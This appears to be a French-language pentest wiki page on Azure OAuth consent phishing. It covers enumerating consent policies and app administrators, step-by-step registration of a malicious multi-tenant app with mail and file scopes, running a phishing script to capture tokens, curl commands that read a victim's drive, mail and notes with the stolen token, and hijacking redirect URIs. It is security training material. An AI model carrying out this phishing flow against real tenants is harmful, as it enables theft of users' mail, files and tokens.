# Az - OAuth Apps Phishing

{{#include ../../../banners/hacktricks-training.md}}

## Phishing d'applications OAuth

**Les applications Azure** sont configurées avec les autorisations qu'elles pourront utiliser lorsque l'utilisateur consent à l'application (comme énumérer le répertoire, accéder aux fichiers ou effectuer d'autres actions). Notez que l'application agira au nom de l'utilisateur, donc même si l'application peut demander des autorisations d'administration, si **l'utilisateur qui consent n'a pas cette autorisation**, l'application **ne pourra pas effectuer d'actions administratives**.

### Autorisations de consentement des applications

Par défaut, tout **utilisateur peut donner son consentement aux applications**, bien que cela puisse être configuré pour que les utilisateurs ne puissent consentir qu'aux **applications de publishers vérifiés pour des autorisations sélectionnées** ou même **supprimer l'autorisation** pour que les utilisateurs consentent aux applications.

<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>

Si les utilisateurs ne peuvent pas consentir, des **administrateurs** comme `GA`, `Application Administrator` ou `Cloud Application` `Administrator` peuvent **consentir aux applications** que les utilisateurs pourront utiliser.

De plus, si les utilisateurs peuvent consentir uniquement aux applications utilisant des autorisations **à faible risque**, ces autorisations sont par défaut **openid**, **profile**, **email**, **User.Read** et **offline_access**, bien qu'il soit possible d'**ajouter plus** à cette liste.

Et s'ils peuvent consentir à toutes les applications, ils peuvent consentir à toutes les applications.

### 2 Types d'attaques

- **Non authentifié** : À partir d'un compte externe, créez une application avec les **autorisations à faible risque** `User.Read` et `User.ReadBasic.All` par exemple, hameçonnez un utilisateur, et vous pourrez accéder aux informations du répertoire.
- Cela nécessite que l'utilisateur hameçonné soit **capable d'accepter des applications OAuth d'un locataire externe**.
- Si l'utilisateur hameçonné est un administrateur qui peut **consentir à n'importe quelle application avec n'importe quelles autorisations**, l'application pourrait également **demander des autorisations privilégiées**.
- **Authentifié** : Ayant compromis un principal avec suffisamment de privilèges, **créez une application à l'intérieur du compte** et **hameçonnez** un **utilisateur privilégié** qui peut accepter des autorisations OAuth privilégiées.
- Dans ce cas, vous pouvez déjà accéder aux informations du répertoire, donc l'autorisation `User.ReadBasic.All` n'est plus intéressante.
- Vous êtes probablement intéressé par des **autorisations qui nécessitent qu'un administrateur les accorde**, car un utilisateur ordinaire ne peut pas donner d'autorisations aux applications OAuth, c'est pourquoi vous devez **hameçonner uniquement ces utilisateurs** (plus d'informations sur les rôles/permissions qui accordent ce privilège plus tard).

### Les utilisateurs sont autorisés à consentir

Notez que vous devez exécuter cette commande à partir d'un utilisateur à l'intérieur du locataire, vous ne pouvez pas trouver cette configuration d'un locataire depuis un externe. Le cli suivant peut vous aider à comprendre les autorisations des utilisateurs :
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
```
- Les utilisateurs peuvent consentir à toutes les applications : Si à l'intérieur de **`permissionGrantPoliciesAssigned`** vous pouvez trouver : `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` alors les utilisateurs peuvent accepter chaque application.
- Les utilisateurs peuvent consentir aux applications de publishers vérifiés ou de votre organisation, mais seulement pour les permissions que vous sélectionnez : Si à l'intérieur de **`permissionGrantPoliciesAssigned`** vous pouvez trouver : `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` alors les utilisateurs peuvent accepter chaque application.
- **Désactiver le consentement des utilisateurs** : Si à l'intérieur de **`permissionGrantPoliciesAssigned`** vous ne pouvez trouver que : `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` et `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` alors les utilisateurs ne peuvent consentir à aucune.

Il est possible de trouver la signification de chacune des politiques commentées dans :
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
```
### **Administrateurs d'application**

Vérifiez les utilisateurs qui sont considérés comme des administrateurs d'application (peuvent accepter de nouvelles applications) :
```bash
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
```
## **Aperçu du Flux d'Attaque**

L'attaque implique plusieurs étapes ciblant une entreprise générique. Voici comment cela pourrait se dérouler :

1. **Enregistrement de Domaine et Hébergement d'Application** : L'attaquant enregistre un domaine ressemblant à un site de confiance, par exemple, "safedomainlogin.com". Sous ce domaine, un sous-domaine est créé (par exemple, "companyname.safedomainlogin.com") pour héberger une application conçue pour capturer des codes d'autorisation et demander des jetons d'accès.
2. **Enregistrement de l'Application dans Azure AD** : L'attaquant enregistre ensuite une Application Multi-Tenant dans son locataire Azure AD, la nommant d'après l'entreprise cible pour paraître légitime. Il configure l'URL de redirection de l'application pour pointer vers le sous-domaine hébergeant l'application malveillante.
3. **Configuration des Autorisations** : L'attaquant configure l'application avec diverses autorisations API (par exemple, `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). Ces autorisations, une fois accordées par l'utilisateur, permettent à l'attaquant d'extraire des informations sensibles au nom de l'utilisateur.
4. **Distribution de Liens Malveillants** : L'attaquant crée un lien contenant l'identifiant client de l'application malveillante et le partage avec des utilisateurs ciblés, les trompant pour qu'ils accordent leur consentement.

## Exemple d'Attaque

1. Enregistrez une **nouvelle application**. Elle peut être uniquement pour le répertoire actuel si vous utilisez un utilisateur du répertoire attaqué ou pour n'importe quel répertoire si c'est une attaque externe (comme dans l'image suivante).
1. Définissez également l'**URI de redirection** sur l'URL attendue où vous souhaitez recevoir le code pour obtenir des jetons (`http://localhost:8000/callback` par défaut).

<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>

2. Ensuite, créez un secret d'application :

<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>

3. Sélectionnez les autorisations API (par exemple, `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`)

<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>

4. **Exécutez la page web (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** qui demande les autorisations :
```bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
```
5. **Envoyez l'URL à la victime**
1. Dans ce cas `http://localhost:8000`
6. **Les victimes** doivent **accepter l'invite :**

<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>

7. Utilisez le **jeton d'accès pour accéder aux autorisations demandées** :
```bash
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
```
## Autres Outils

- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Consultez [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) pour apprendre à le configurer.
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)

## Post-Exploitation

### Phishing Post-Exploitation

Selon les autorisations demandées, vous pourriez être en mesure de **accéder à différentes données du locataire** (liste des utilisateurs, groupes... ou même modifier des paramètres) et **informations de l'utilisateur** (fichiers, notes, e-mails...). Ensuite, vous pouvez utiliser ces autorisations pour effectuer ces actions.

### Applications Admin Entra ID

Si vous parvenez à compromettre d'une manière ou d'une autre un principal Entra ID qui peut gérer des applications dans Entra ID, et qu'il y a des applications utilisées par les utilisateurs du locataire. Un administrateur pourrait **modifier les autorisations demandées par l'application et ajouter une nouvelle adresse de redirection autorisée pour voler les jetons**.
- Notez qu'il est possible d'**ajouter des URI de redirection** (pas besoin de supprimer la vraie) et ensuite d'envoyer un lien HTTP en utilisant l'URI de redirection de l'attaquant, de sorte que lorsque l'utilisateur suit le lien, l'authentification se produit automatiquement et l'attaquant reçoit le jeton.
- Il est également possible de changer les autorisations demandées par l'application afin d'obtenir plus d'autorisations des utilisateurs, mais dans ce cas, l'utilisateur devra **accepter à nouveau l'invite** (même s'il était déjà connecté).
- Pour effectuer cette attaque, l'attaquant **N'A PAS BESOIN** de contrôler le code de l'application, car il pourrait simplement envoyer le lien pour se connecter à l'application à l'utilisateur avec la nouvelle URL dans le paramètre **`redirect_uri`**.

### Post-Exploitation de l'Application

Consultez les sections Applications et Principal de Service de la page :

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## Références

- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)

{{#include ../../../banners/hacktricks-training.md}}
